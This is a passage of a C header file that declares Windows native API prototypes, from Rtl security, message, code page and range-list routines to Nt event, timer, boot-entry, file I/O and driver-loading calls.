PSID PrimaryGroup, _Inout_ PULONG PrimaryGroupSize ); NTSTATUS NTAPI RtlSelfRelativeToAbsoluteSD2 ( _Inout_ PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor, _Inout_ PULONG pBufferSize ); NTSTATUS NTAPI RtlNewSecurityGrantedAccess ( ACCESS_MASK DesiredAccess, PPRIVILEGE_SET Privileges, PULONG Length, HANDLE Token, PGENERIC_MAPPING GenericMapping, PACCESS_MASK RemainingDesiredAccess ); NTSTATUS NTAPI RtlMapSecurityErrorToNtStatus ( SECURITY_STATUS Error ); NTSTATUS NTAPI RtlImpersonateSelf ( IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel ); NTSTATUS NTAPI RtlAdjustPrivilege ( ULONG Privilege, BOOLEAN Enable, BOOLEAN Client, PBOOLEAN WasEnabled ); NTSTATUS NTAPI RtlAcquirePrivilege ( PULONG Privilege, ULONG NumPriv, ULONG Flags, PVOID *ReturnedState ); VOID NTAPI RtlReleasePrivilege ( PVOID StatePointer ); VOID NTAPI RtlRunEncodeUnicodeString( PUCHAR Seed OPTIONAL, PUNICODE_STRING String ); VOID NTAPI RtlRunDecodeUnicodeString( UCHAR Seed, PUNICODE_STRING String ); VOID NTAPI RtlEraseUnicodeString( PUNICODE_STRING String ); NTSTATUS NTAPI RtlFindMessage( PVOID DllHandle, ULONG MessageTableId, ULONG MessageLanguageId, ULONG MessageId, PMESSAGE_RESOURCE_ENTRY *MessageEntry ); NTSTATUS NTAPI RtlFormatMessage( IN PWSTR MessageFormat, IN ULONG MaximumWidth, IN BOOLEAN IgnoreInserts, IN BOOLEAN ArgumentsAreAnsi, IN BOOLEAN ArgumentsAreAnArray, IN va_list *Arguments, OUT PWSTR Buffer, IN ULONG Length, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI RtlFormatMessageEx( IN PWSTR MessageFormat, IN ULONG MaximumWidth, IN BOOLEAN IgnoreInserts, IN BOOLEAN ArgumentsAreAnsi, IN BOOLEAN ArgumentsAreAnArray, IN va_list *Arguments, OUT PWSTR Buffer, IN ULONG Length, OUT OPTIONAL PULONG ReturnLength, OUT OPTIONAL PPARSE_MESSAGE_CONTEXT ParseContext ); NTSTATUS NTAPI RtlInitializeRXact( IN HANDLE RootRegistryKey, IN BOOLEAN CommitIfNecessary, OUT PRTL_RXACT_CONTEXT *RXactContext ); NTSTATUS NTAPI RtlStartRXact( IN PRTL_RXACT_CONTEXT RXactContext ); NTSTATUS NTAPI RtlAbortRXact( IN PRTL_RXACT_CONTEXT RXactContext ); NTSTATUS NTAPI RtlAddAttributeActionToRXact( IN PRTL_RXACT_CONTEXT RXactContext, IN RTL_RXACT_OPERATION Operation, IN PUNICODE_STRING SubKeyName, IN HANDLE KeyHandle, IN PUNICODE_STRING AttributeName, IN ULONG NewValueType, IN PVOID NewValue, IN ULONG NewValueLength ); NTSTATUS NTAPI RtlAddActionToRXact( IN PRTL_RXACT_CONTEXT RXactContext, IN RTL_RXACT_OPERATION Operation, IN PUNICODE_STRING SubKeyName, IN ULONG NewKeyValueType, IN PVOID NewKeyValue OPTIONAL, IN ULONG NewKeyValueLength ); NTSTATUS NTAPI RtlApplyRXact( IN PRTL_RXACT_CONTEXT RXactContext ); NTSTATUS NTAPI RtlApplyRXactNoFlush( IN PRTL_RXACT_CONTEXT RXactContext ); ULONG NTAPI RtlNtStatusToDosError ( NTSTATUS Status ); ULONG NTAPI RtlNtStatusToDosErrorNoTeb ( NTSTATUS Status ); PPEB RtlGetCurrentPeb ( VOID ); NTSTATUS NTAPI RtlCustomCPToUnicodeN( IN PCPTABLEINFO CustomCP, OUT PWCH UnicodeString, IN ULONG MaxBytesInUnicodeString, OUT OPTIONAL PULONG BytesInUnicodeString, IN PCH CustomCPString, IN ULONG BytesInCustomCPString ); NTSTATUS NTAPI RtlUnicodeToCustomCPN( IN PCPTABLEINFO CustomCP, OUT PCH CustomCPString, IN ULONG MaxBytesInCustomCPString, OUT OPTIONAL PULONG BytesInCustomCPString, IN PWCH UnicodeString, IN ULONG BytesInUnicodeString ); NTSTATUS NTAPI RtlUpcaseUnicodeToCustomCPN( IN PCPTABLEINFO CustomCP, OUT PCH CustomCPString, IN ULONG MaxBytesInCustomCPString, OUT OPTIONAL PULONG BytesInCustomCPString, IN PWCH UnicodeString, IN ULONG BytesInUnicodeString ); VOID NTAPI RtlInitCodePageTable( IN PUSHORT TableBase, OUT PCPTABLEINFO CodePageTable ); VOID NTAPI RtlInitNlsTables( IN PUSHORT AnsiNlsBase, IN PUSHORT OemNlsBase, IN PUSHORT LanguageNlsBase, OUT PNLSTABLEINFO TableInfo ); VOID NTAPI RtlResetRtlTranslations( PNLSTABLEINFO TableInfo ); VOID NTAPI RtlGetDefaultCodePage( OUT PUSHORT AnsiCodePage, OUT PUSHORT OemCodePage ); VOID NTAPI RtlInitializeRangeList( _Inout_ PRTL_RANGE_LIST RangeList ); VOID NTAPI RtlFreeRangeList( IN PRTL_RANGE_LIST RangeList ); NTSTATUS NTAPI RtlCopyRangeList( OUT PRTL_RANGE_LIST CopyRangeList, IN PRTL_RANGE_LIST RangeList ); NTSTATUS NTAPI RtlAddRange( _Inout_ PRTL_RANGE_LIST RangeList, IN ULONGLONG Start, IN ULONGLONG End, IN UCHAR Attributes, IN ULONG Flags, IN PVOID UserData, OPTIONAL IN PVOID Owner OPTIONAL ); NTSTATUS NTAPI RtlDeleteRange( _Inout_ PRTL_RANGE_LIST RangeList, IN ULONGLONG Start, IN ULONGLONG End, IN PVOID Owner ); NTSTATUS NTAPI RtlDeleteOwnersRanges( _Inout_ PRTL_RANGE_LIST RangeList, IN PVOID Owner ); NTSTATUS NTAPI RtlFindRange( IN PRTL_RANGE_LIST RangeList, IN ULONGLONG Minimum, IN ULONGLONG Maximum, IN ULONG Length, IN ULONG Alignment, IN ULONG Flags, IN UCHAR AttributeAvailableMask, IN PVOID Context OPTIONAL, IN PRTL_CONFLICT_RANGE_CALLBACK Callback OPTIONAL, OUT PULONGLONG Start ); NTSTATUS NTAPI RtlIsRangeAvailable( IN PRTL_RANGE_LIST RangeList, IN ULONGLONG Start, IN ULONGLONG End, IN ULONG Flags, IN UCHAR AttributeAvailableMask, IN PVOID Context OPTIONAL, IN PRTL_CONFLICT_RANGE_CALLBACK Callback OPTIONAL, OUT PBOOLEAN Available ); NTSTATUS NTAPI RtlGetFirstRange( IN PRTL_RANGE_LIST RangeList, OUT PRTL_RANGE_LIST_ITERATOR Iterator, OUT PRTL_RANGE *Range ); NTSTATUS NTAPI RtlGetLastRange( IN PRTL_RANGE_LIST RangeList, OUT PRTL_RANGE_LIST_ITERATOR Iterator, OUT PRTL_RANGE *Range ); NTSTATUS NTAPI RtlGetNextRange( _Inout_ PRTL_RANGE_LIST_ITERATOR Iterator, OUT PRTL_RANGE *Range, IN BOOLEAN MoveForwards ); NTSTATUS NTAPI RtlMergeRangeLists( OUT PRTL_RANGE_LIST MergedRangeList, IN PRTL_RANGE_LIST RangeList1, IN PRTL_RANGE_LIST RangeList2, IN ULONG Flags ); NTSTATUS NTAPI RtlInvertRangeList( OUT PRTL_RANGE_LIST InvertedRangeList, IN PRTL_RANGE_LIST RangeList ); NTSTATUS NTAPI RtlVolumeDeviceToDosName( IN PVOID VolumeDeviceObject, OUT PUNICODE_STRING DosName ); NTSTATUS NTAPI RtlCreateSystemVolumeInformationFolder( IN PUNICODE_STRING VolumeRootPath ); #if defined(_WINNT_) && (_MSC_VER < 1300) typedef POSVERSIONINFOW PRTL_OSVERSIONINFOW; typedef POSVERSIONINFOEXW PRTL_OSVERSIONINFOEXW; typedef LONG (NTAPI *PVECTORED_EXCEPTION_HANDLER)( struct _EXCEPTION_POINTERS *ExceptionInfo ); typedef VOID (NTAPI * APC_CALLBACK_FUNCTION) (DWORD , PVOID, PVOID); typedef const GUID *LPCGUID; #endif NTSTATUS NTAPI RtlGetVersion( OUT PRTL_OSVERSIONINFOW lpVersionInformation ); NTSTATUS RtlVerifyVersionInfo( IN PRTL_OSVERSIONINFOEXW VersionInfo, IN ULONG TypeMask, IN ULONGLONG ConditionMask ); BOOLEAN RtlFlushSecureMemoryCache( PVOID lpAddr, SIZE_T size ); LONG NTAPI RtlGetLastWin32Error( VOID ); VOID NTAPI RtlSetLastWin32ErrorAndNtStatusFromNtStatus( NTSTATUS Status ); VOID NTAPI RtlSetLastWin32Error( LONG Win32Error ); VOID NTAPI RtlRestoreLastWin32Error( LONG Win32Error ); NTSTATUS NTAPI RtlGetSetBootStatusData( IN HANDLE Handle, IN BOOLEAN Get, IN RTL_BSD_ITEM_TYPE DataItem, IN PVOID DataBuffer, IN ULONG DataBufferLength, OUT PULONG ByteRead OPTIONAL ); NTSTATUS NTAPI RtlLockBootStatusData( OUT PHANDLE BootStatusDataHandle ); VOID NTAPI RtlUnlockBootStatusData( IN HANDLE BootStatusDataHandle ); NTSTATUS NTAPI RtlCreateBootStatusDataFile( VOID ); // // // begin_ntapi NTSTATUS NTAPI NtDelayExecution( IN BOOLEAN Alertable, IN PLARGE_INTEGER DelayInterval ); NTSTATUS NTAPI NtQuerySystemEnvironmentValue ( IN PUNICODE_STRING VariableName, OUT PWSTR VariableValue, IN USHORT ValueLength, OUT OPTIONAL PUSHORT ReturnLength ); NTSTATUS NTAPI NtSetSystemEnvironmentValue ( IN PUNICODE_STRING VariableName, IN PUNICODE_STRING VariableValue ); NTSTATUS NTAPI NtQuerySystemEnvironmentValueEx ( IN PUNICODE_STRING VariableName, IN LPGUID VendorGuid, OUT OPTIONAL PVOID Value, _Inout_ PULONG ValueLength, OUT OPTIONAL PULONG Attributes ); NTSTATUS NTAPI NtSetSystemEnvironmentValueEx ( IN PUNICODE_STRING VariableName, IN LPGUID VendorGuid, _In_opt_ PVOID Value, IN ULONG ValueLength, IN ULONG Attributes ); NTSTATUS NTAPI NtEnumerateSystemEnvironmentValuesEx ( IN ULONG InformationClass, OUT PVOID Buffer, _Inout_ PULONG BufferLength ); NTSTATUS NTAPI NtAddBootEntry ( IN PBOOT_ENTRY BootEntry, OUT OPTIONAL PULONG Id ); NTSTATUS NTAPI NtDeleteBootEntry ( IN ULONG Id ); NTSTATUS NTAPI NtModifyBootEntry ( IN PBOOT_ENTRY BootEntry ); NTSTATUS NTAPI NtEnumerateBootEntries ( OUT OPTIONAL PVOID Buffer, _Inout_ PULONG BufferLength ); NTSTATUS NTAPI NtQueryBootEntryOrder ( OUT OPTIONAL PULONG Ids, _Inout_ PULONG Count ); NTSTATUS NTAPI NtSetBootEntryOrder ( IN PULONG Ids, IN ULONG Count ); NTSTATUS NTAPI NtQueryBootOptions ( OUT OPTIONAL PBOOT_OPTIONS BootOptions, _Inout_ PULONG BootOptionsLength ); NTSTATUS NTAPI NtSetBootOptions ( IN PBOOT_OPTIONS BootOptions, IN ULONG FieldsToChange ); NTSTATUS NTAPI NtTranslateFilePath ( IN PFILE_PATH InputFilePath, IN ULONG OutputType, OUT OPTIONAL PFILE_PATH OutputFilePath, _Inout_opt_ PULONG OutputFilePathLength ); NTSTATUS NTAPI NtAddDriverEntry ( IN PEFI_DRIVER_ENTRY DriverEntry, OUT OPTIONAL PULONG Id ); NTSTATUS NTAPI NtDeleteDriverEntry ( IN ULONG Id ); NTSTATUS NTAPI NtModifyDriverEntry ( IN PEFI_DRIVER_ENTRY DriverEntry ); NTSTATUS NTAPI NtEnumerateDriverEntries ( OUT PVOID Buffer, _Inout_ PULONG BufferLength ); NTSTATUS NTAPI NtQueryDriverEntryOrder ( OUT PULONG Ids, _Inout_ PULONG Count ); NTSTATUS NTAPI NtSetDriverEntryOrder ( IN PULONG Ids, IN ULONG Count ); NTSTATUS NTAPI NtClearEvent ( IN HANDLE EventHandle ); NTSTATUS NTAPI NtCreateEvent ( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN EVENT_TYPE EventType, IN BOOLEAN InitialState ); NTSTATUS NTAPI NtOpenEvent ( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtPulseEvent ( IN HANDLE EventHandle, OUT OPTIONAL PLONG PreviousState ); NTSTATUS NTAPI NtQueryEvent ( IN HANDLE EventHandle, IN EVENT_INFORMATION_CLASS EventInformationClass, OUT PVOID EventInformation, IN ULONG EventInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtResetEvent ( IN HANDLE EventHandle, OUT OPTIONAL PLONG PreviousState ); NTSTATUS NTAPI NtSetEvent ( IN HANDLE EventHandle, OUT OPTIONAL PLONG PreviousState ); NTSTATUS NTAPI NtSetEventBoostPriority ( IN HANDLE EventHandle ); NTSTATUS NTAPI NtCreateEventPair ( OUT PHANDLE EventPairHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtOpenEventPair ( OUT PHANDLE EventPairHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtWaitLowEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI NtWaitHighEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI NtSetLowWaitHighEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI NtSetHighWaitLowEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI NtSetLowEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI NtSetHighEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI NtCreateMutant ( OUT PHANDLE MutantHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN BOOLEAN InitialOwner ); NTSTATUS NTAPI NtOpenMutant ( OUT PHANDLE MutantHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtQueryMutant ( IN HANDLE MutantHandle, IN MUTANT_INFORMATION_CLASS MutantInformationClass, OUT PVOID MutantInformation, IN ULONG MutantInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtReleaseMutant ( IN HANDLE MutantHandle, OUT OPTIONAL PLONG PreviousCount ); NTSTATUS NTAPI NtCreateSemaphore ( OUT PHANDLE SemaphoreHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN LONG InitialCount, IN LONG MaximumCount ); NTSTATUS NTAPI NtOpenSemaphore( OUT PHANDLE SemaphoreHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtQuerySemaphore ( IN HANDLE SemaphoreHandle, IN SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, OUT PVOID SemaphoreInformation, IN ULONG SemaphoreInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtReleaseSemaphore( IN HANDLE SemaphoreHandle, IN LONG ReleaseCount, OUT OPTIONAL PLONG PreviousCount ); NTSTATUS NTAPI NtCreateTimer ( OUT PHANDLE TimerHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN TIMER_TYPE TimerType ); NTSTATUS NTAPI NtOpenTimer ( OUT PHANDLE TimerHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtCancelTimer ( IN HANDLE TimerHandle, OUT OPTIONAL PBOOLEAN CurrentState ); NTSTATUS NTAPI NtQueryTimer ( IN HANDLE TimerHandle, IN TIMER_INFORMATION_CLASS TimerInformationClass, OUT PVOID TimerInformation, IN ULONG TimerInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtSetTimer ( IN HANDLE TimerHandle, IN PLARGE_INTEGER DueTime, _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine, _In_opt_ PVOID TimerContext, IN BOOLEAN ResumeTimer, _In_opt_ LONG Period, OUT OPTIONAL PBOOLEAN PreviousState ); NTSTATUS NTAPI NtQuerySystemTime ( OUT PLARGE_INTEGER SystemTime ); NTSTATUS NTAPI NtSetSystemTime ( _In_opt_ PLARGE_INTEGER SystemTime, OUT OPTIONAL PLARGE_INTEGER PreviousTime ); NTSTATUS NTAPI NtQueryTimerResolution ( OUT PULONG MaximumTime, OUT PULONG MinimumTime, OUT PULONG CurrentTime ); NTSTATUS NTAPI NtSetTimerResolution ( IN ULONG DesiredTime, IN BOOLEAN SetResolution, OUT PULONG ActualTime ); NTSTATUS NTAPI NtAllocateLocallyUniqueId ( OUT PLUID Luid ); NTSTATUS NTAPI NtSetUuidSeed ( IN PCHAR Seed ); NTSTATUS NTAPI NtAllocateUuids ( OUT PULARGE_INTEGER Time, OUT PULONG Range, OUT PULONG Sequence, OUT PCHAR Seed ); NTSTATUS NTAPI NtCreateProfile ( OUT PHANDLE ProfileHandle, IN HANDLE Process OPTIONAL, IN PVOID ProfileBase, IN SIZE_T ProfileSize, IN ULONG BucketSize, IN PULONG Buffer, IN ULONG BufferSize, IN KPROFILE_SOURCE ProfileSource, IN KAFFINITY Affinity ); NTSTATUS NTAPI NtStartProfile ( IN HANDLE ProfileHandle ); NTSTATUS NTAPI NtStopProfile ( IN HANDLE ProfileHandle ); NTSTATUS NTAPI NtSetIntervalProfile ( IN ULONG Interval, IN KPROFILE_SOURCE Source ); NTSTATUS NTAPI NtQueryIntervalProfile ( IN KPROFILE_SOURCE ProfileSource, OUT PULONG Interval ); NTSTATUS NTAPI NtQueryPerformanceCounter ( OUT PLARGE_INTEGER PerformanceCounter, OUT OPTIONAL PLARGE_INTEGER PerformanceFrequency ); NTSTATUS NTAPI NtCreateKeyedEvent ( OUT PHANDLE KeyedEventHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG Flags ); NTSTATUS NTAPI NtOpenKeyedEvent ( OUT PHANDLE KeyedEventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtReleaseKeyedEvent ( IN HANDLE KeyedEventHandle, IN PVOID KeyValue, IN BOOLEAN Alertable, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI NtWaitForKeyedEvent ( IN HANDLE KeyedEventHandle, IN PVOID KeyValue, IN BOOLEAN Alertable, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI NtQuerySystemInformation ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT OPTIONAL PVOID SystemInformation, IN ULONG SystemInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtSetSystemInformation ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, _In_opt_ PVOID SystemInformation, IN ULONG SystemInformationLength ); NTSTATUS NTAPI NtSystemDebugControl ( IN SYSDBG_COMMAND Command, _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtRaiseHardError ( IN NTSTATUS ErrorStatus, IN ULONG NumberOfParameters, IN ULONG UnicodeStringParameterMask, _In_opt_ PULONG_PTR Parameters, IN ULONG ValidResponseOptions, OUT PULONG Response ); NTSTATUS NTAPI NtQueryDefaultLocale ( IN BOOLEAN UserProfile, OUT PLCID DefaultLocaleId ); NTSTATUS NTAPI NtSetDefaultLocale ( IN BOOLEAN UserProfile, IN LCID DefaultLocaleId ); NTSTATUS NTAPI NtQueryInstallUILanguage ( OUT LANGID *InstallUILanguageId ); NTSTATUS NTAPI NtQueryDefaultUILanguage ( OUT LANGID *DefaultUILanguageId ); NTSTATUS NTAPI NtSetDefaultUILanguage ( IN LANGID DefaultUILanguageId ); NTSTATUS NTAPI NtSetDefaultHardErrorPort( IN HANDLE DefaultHardErrorPort ); NTSTATUS NTAPI NtShutdownSystem ( IN SHUTDOWN_ACTION Action ); NTSTATUS NTAPI NtDisplayString ( IN PUNICODE_STRING String ); NTSTATUS NTAPI NtAddAtom ( _In_opt_ PWSTR AtomName, IN ULONG Length, OUT OPTIONAL PRTL_ATOM Atom ); NTSTATUS NTAPI NtFindAtom ( _In_opt_ PWSTR AtomName, IN ULONG Length, OUT OPTIONAL PRTL_ATOM Atom ); NTSTATUS NTAPI NtDeleteAtom ( IN RTL_ATOM Atom ); NTSTATUS NTAPI NtQueryInformationAtom( IN RTL_ATOM Atom, IN ATOM_INFORMATION_CLASS AtomInformationClass, OUT OPTIONAL PVOID AtomInformation, IN ULONG AtomInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtCancelIoFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock ); NTSTATUS NTAPI NtCreateNamedPipeFile ( OUT PHANDLE FileHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG CreateDisposition, IN ULONG CreateOptions, IN ULONG NamedPipeType, IN ULONG ReadMode, IN ULONG CompletionMode, IN ULONG MaximumInstances, IN ULONG InboundQuota, IN ULONG OutboundQuota, _In_opt_ PLARGE_INTEGER DefaultTimeout ); NTSTATUS NTAPI NtCreateMailslotFile ( OUT PHANDLE FileHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG CreateOptions, IN ULONG MailslotQuota, IN ULONG MaximumMessageSize, IN PLARGE_INTEGER ReadTimeout ); NTSTATUS NTAPI NtDeleteFile ( IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtFlushBuffersFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock ); NTSTATUS NTAPI NtNotifyChangeDirectoryFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN ULONG CompletionFilter, IN BOOLEAN WatchTree ); NTSTATUS NTAPI NtQueryAttributesFile ( IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PFILE_BASIC_INFORMATION FileInformation ); NTSTATUS NTAPI NtQueryFullAttributesFile( IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PFILE_NETWORK_OPEN_INFORMATION FileInformation ); NTSTATUS NTAPI NtQueryEaFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN PVOID EaList, IN ULONG EaListLength, _In_opt_ PULONG EaIndex OPTIONAL, IN BOOLEAN RestartScan ); NTSTATUS NTAPI NtCreateFile ( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, _In_opt_ PLARGE_INTEGER AllocationSize, IN ULONG FileAttributes, IN ULONG ShareAccess, IN ULONG CreateDisposition, IN ULONG CreateOptions, _In_opt_ PVOID EaBuffer, IN ULONG EaLength ); NTSTATUS NTAPI NtDeviceIoControlFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength ); NTSTATUS NTAPI NtFsControlFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG FsControlCode, _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength ); NTSTATUS NTAPI NtLockFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER ByteOffset, IN PLARGE_INTEGER Length, IN ULONG Key, IN BOOLEAN FailImmediately, IN BOOLEAN ExclusiveLock ); NTSTATUS NTAPI NtOpenFile ( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG OpenOptions ); NTSTATUS NTAPI NtQueryDirectoryFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, _In_opt_ PUNICODE_STRING FileName, IN BOOLEAN RestartScan ); NTSTATUS NTAPI NtQueryInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass ); NTSTATUS NTAPI NtQueryQuotaInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, _In_opt_ PVOID SidList, IN ULONG SidListLength, _In_opt_ PSID StartSid, IN BOOLEAN RestartScan ); NTSTATUS NTAPI NtQueryVolumeInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FsInformation, IN ULONG Length, IN FS_INFORMATION_CLASS FsInformationClass ); NTSTATUS NTAPI NtReadFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, _In_opt_ PLARGE_INTEGER ByteOffset, _In_opt_ PULONG Key ); NTSTATUS NTAPI NtSetInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass ); NTSTATUS NTAPI NtSetQuotaInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length ); NTSTATUS NTAPI NtSetVolumeInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID FsInformation, IN ULONG Length, IN FS_INFORMATION_CLASS FsInformationClass ); NTSTATUS NTAPI NtWriteFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length, _In_opt_ PLARGE_INTEGER ByteOffset, _In_opt_ PULONG Key ); NTSTATUS NTAPI NtUnlockFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER ByteOffset, IN PLARGE_INTEGER Length, IN ULONG Key ); NTSTATUS NTAPI NtReadFileScatter ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PFILE_SEGMENT_ELEMENT SegmentArray, IN ULONG Length, _In_opt_ PLARGE_INTEGER ByteOffset, _In_opt_ PULONG Key ); NTSTATUS NTAPI NtSetEaFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length ); NTSTATUS NTAPI NtWriteFileGather ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PFILE_SEGMENT_ELEMENT SegmentArray, IN ULONG Length, _In_opt_ PLARGE_INTEGER ByteOffset, _In_opt_ PULONG Key ); NTSTATUS NTAPI NtLoadDriver ( IN PUNICODE_STRING DriverServiceName ); NTSTATUS NTAPI NtUnloadDriver ( IN PUNICODE_STRING DriverServiceName ); NTSTATUS NTAPI NtCreateIoCompletion ( OUT PHANDLE IoCompletionHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG Count OPTIONAL ); NTSTATUS NTAPI NtOpenIoCompletion ( OUT PHANDLE IoCompletionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtQueryIoCompletion ( IN HANDLE IoCompletionHandle, IN IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, OUT PVOID IoCompletionInformation, IN ULONG IoCompletionInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtSetIoCompletion ( IN HANDLE IoCompletionHandle, IN PVOID KeyContext, _In_opt_ PVOID ApcContext, IN NTSTATUS IoStatus, IN ULONG_PTR IoStatusInformation ); NTSTATUS 